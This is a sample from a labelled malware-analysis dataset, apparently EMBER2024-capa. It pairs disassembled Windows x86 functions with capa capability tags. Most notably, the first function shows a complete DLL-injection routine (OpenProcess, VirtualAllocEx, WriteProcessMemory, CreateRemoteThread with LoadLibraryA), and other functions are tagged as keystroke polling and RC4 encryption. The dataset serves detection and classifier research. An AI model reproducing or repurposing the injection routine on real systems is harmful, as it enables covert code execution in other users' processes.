joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404670
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push 0
mov esi, ecx
lea ecx, [ebp - 0x108]
push ecx
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x4046c0
push str.An_error_is_occured_when_trying_to_get_the_full_path_of_the_DLL._n
call fcn.0040cf99
add esp, 4
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b43e
mov esp, ebp
pop ebp
ret
push edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4046f5
push str.An_error_is_occured_when_trying_to_open_the_target_process._n
call fcn.0040cf99
add esp, 4
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b43e
mov esp, ebp
pop ebp
ret
push ebx
push str._PROCESS_INJECTION__n
call fcn.0040cf99
push str.Process_opened_successfully._n
call fcn.0040cf99
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
push 0x40
push 0x3000
lea edx, [ebp - 0x108]
push edx
call ebx
inc eax
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x404754
push str.An_error_is_occured_when_trying_to_allocate_memory_in_the_target_process._n
call fcn.0040cf99
add esp, 4
pop ebx
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b43e
mov esp, ebp
pop ebp
ret
push esi
push str.Memory_allocate_at_0x_X_n
call fcn.0040cf99
add esp, 8
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
inc eax
push eax
lea ecx, [ebp - 0x108]
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x404789
push str.An_error_is_occured_when_trying_to_write_the_DLL_path_in_the_target_process._n
jmp 0x404739
push str.DLL_path_writen_successfully._n
call fcn.0040cf99
add esp, 4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, 0xffffffff
je 0x404741
test eax, eax
je 0x404741
push str.LoadLibraryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x4047c6
push str.An_error_is_occured_when_trying_to_get__LoadLibraryA__address._n
jmp 0x404739
push ebx
push str.LoadLibraryA_address_at_0x_X_n
call fcn.0040cf99
add esp, 8
push 0
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, 0xffffffff
jne 0x4047f4
push str.An_error_is_occured_when_trying_to_create_the_thread_in_the_target_process._n
jmp 0x404739
push str.DLL_Injected___n
call fcn.0040cf99
mov ecx, dword [ebp - 4]
add esp, 4
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040b43e
mov esp, ebp
pop ebp
ret
Function at 0x407190
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422fd8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x40733e
cmp byte [ebx + 0x49], 0
je 0x40733e
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x407332
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x407205
lea eax, [ebp - 0x2c]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x407222
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x407259
dec eax
je 0x40725d
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x407339
call fcn.00401390
xor al, al
jmp 0x407340
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x40726d
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x40729a
cmp edi, 0x10
jae 0x40727c
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0040d4c9
add esp, 0x10
cmp esi, eax
jne 0x40732a
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x407336
test esi, esi
jne 0x407216
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x40735b
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x40735b
cmp edi, esi
jae 0x407313
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00401830
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x407216
mov ecx, eax
cmp edi, 0x10
jae 0x4072ef
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40730a
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x407210
test esi, esi
jne 0x4072e5
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x407322
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x407210
lea ecx, [ebp - 0x2c]
call fcn.00401390
xor al, al
jmp 0x407340
lea ecx, [ebp - 0x2c]
call fcn.00401390
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b43e
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.0040a958
int3
Function at 0x407650
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422c7b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x42b6d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040afa9
push 4
mov dword [ebp - 4], 0
call fcn.0040be0d
mov edi, eax
add esp, 4
test edi, edi
je 0x4076cc
call fcn.0040ae81
mov dword [edi], eax
call fcn.0040ac40
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0040af6a
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4076c2
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0040af92
jmp 0x4076ce
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409250
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423048
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov ebx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x4092b5
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.00409010
mov ecx, esi
call fcn.004090c0
mov eax, esi
push eax
call fcn.004091a0
cmp dword [ebp + 0x1c], 0x10
jb 0x4092e2
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040bdb1
add esp, 4
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b43e
mov esp, ebp
pop ebp
ret

Function at 0x40b43e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b6d0]
jne 0x40b448
repz ret
jmp fcn.0041109c
Function at 0x415cbc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x415ce3
call fcn.0040e26b
mov dword [eax], esi
call fcn.0040e258
push 0x16
pop esi
mov dword [eax], esi
call fcn.004134bd
mov eax, esi
jmp 0x415d38
test dword [ebp + 0xc], 0xfffffff9
jne 0x415cc9
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x415d10
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040e27e
pop ecx
call fcn.0040e258
mov eax, dword [eax]
jmp 0x415d38
test al, 0x10
jne 0x415d36
test al, 1
je 0x415d36
test byte [ebp + 0xc], 2
je 0x415d36
call fcn.0040e26b
mov dword [eax], 5
call fcn.0040e258
mov dword [eax], 0xd
jmp 0x415d07
xor eax, eax
pop esi
pop ebp
ret

Function at 0x416f18
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00411d31
and dword [ebp - 0x14], 0
cmp dword [0x42d9b0], 0
mov dword [ebp - 0x18], eax
jne 0x416fcb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x417073
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x417073
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42d9b0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42d9b4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42d9b8], eax
call edi
push eax
call esi
mov dword [0x42d9c0], eax
test eax, eax
je 0x416fcb
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42d9bc], eax
mov eax, dword [0x42d9bc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x417024
cmp dword [0x42d9c0], ecx
je 0x417024
push eax
call esi
push dword [0x42d9c0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x417024
test ebx, ebx
je 0x417024
call edi
test eax, eax
je 0x41701b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41701b
test byte [ebp - 8], 1
jne 0x417024
or dword [ebp + 0x10], 0x200000
jmp 0x417057
mov eax, dword [0x42d9b4]
cmp eax, dword [ebp - 0x18]
je 0x417057
push eax
call esi
test eax, eax
je 0x417057
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x417057
mov eax, dword [0x42d9b8]
cmp eax, dword [ebp - 0x18]
je 0x417057
push eax
call esi
test eax, eax
je 0x417057
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42d9b0]
call esi
test eax, eax
je 0x417073
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x417075
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b43e
leave
ret
Function at 0x409760
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x493b2b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0048888b
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4097e2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00486771
mov eax, dword [eax]
push 0x4f0cbc
push eax
call fcn.00478784
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00488b16
test bl, bl
je 0x4097e2
push 0x4f0cbc
lea ecx, [esp + 0xc]
call fcn.00488ea6
push 0x4f0cc8
lea ecx, [esp + 0xc]
call fcn.00488ea6
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40981e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00488b16
jmp 0x4098e9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4098a2
lea edx, [esp + 0x7c]
push 0x4f0cc4
push edx
call fcn.00478784
add esp, 8
test eax, eax
je 0x4098a2
lea eax, [esp + 0x7c]
push 0x4f0cc0
push eax
call fcn.00478784
add esp, 8
test eax, eax
je 0x4098a2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x409832
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00488b16
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40a0f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40a152
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40a160
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x493bab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x500148]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40a298
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40a1c6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00488b16
xor eax, eax
jmp 0x40a30f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00488c53
push esi
lea ecx, [esp + 0xc]
call fcn.00488ee2
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40a2ed
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040a0f0
test eax, eax
jne 0x40a2ed
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040a0f0
test eax, eax
jne 0x40a2ed
lea eax, [esp + 0x14]
push 0x4f0cd8
push eax
call fcn.00479820
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a2cc
lea ecx, [esp + 0x14]
push 0x4f0cd4
push ecx
call fcn.004797a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a2cc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40a2cf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00488c03
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40a1de
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00488b16
xor eax, eax
jmp 0x40a30f
mov byte [esi], 0
push 0x4f0cd0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00488b16
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41ae50
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41aebe
cmp si, 0x69
ja 0x41aebe
add esi, 0xffd0
cmp si, 0x11
je 0x41ae8e
push 0x11
call edi
test ax, ax
jge 0x41ae8e
or esi, 0x2000
cmp si, 0x10
je 0x41aea3
push 0x10
call edi
test ax, ax
jge 0x41aea3
or esi, 0x4000
cmp si, 0x12
je 0x41aeb8
push 0x12
call edi
test ax, ax
jge 0x41aeb8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41aecb
mov esi, 0xbd
jmp 0x41ae7f
cmp si, 0x6e
jne 0x41aed8
mov esi, 0xbe
jmp 0x41ae7f
cmp si, 0x6f
jne 0x41ae79
mov esi, 0xbf
jmp 0x41ae7f

Function at 0x41ca40
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5108a8]
xor edx, edx
cmp eax, edx
jne 0x41ca66
xor eax, eax
mov byte [eax + 0x5107a8], al
inc eax
cmp eax, 0x100
jl 0x41ca4e
mov dword [0x5108a8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5107a8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41caf7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41caca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41ca98
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41cb00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41cb53
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41cb3a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x423df0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x423f88
cmp ebp, ebx
jle 0x423f88
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x423e4e
dec eax
or eax, 0xfffffff8
inc eax
je 0x423e55
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x423e64
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x423e6b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00488857
add esp, 4
cmp eax, ebx
je 0x423e8c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00488857
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x423f7e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x423f65
mov al, byte [edx]
cmp al, 0xc0
jbe 0x423f51
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x423f46
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x423f54
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x423f54
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x423ef0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x423ee1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x4274d0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4952c8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x427509
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00490204
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00490250
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00427590
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0049028d
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24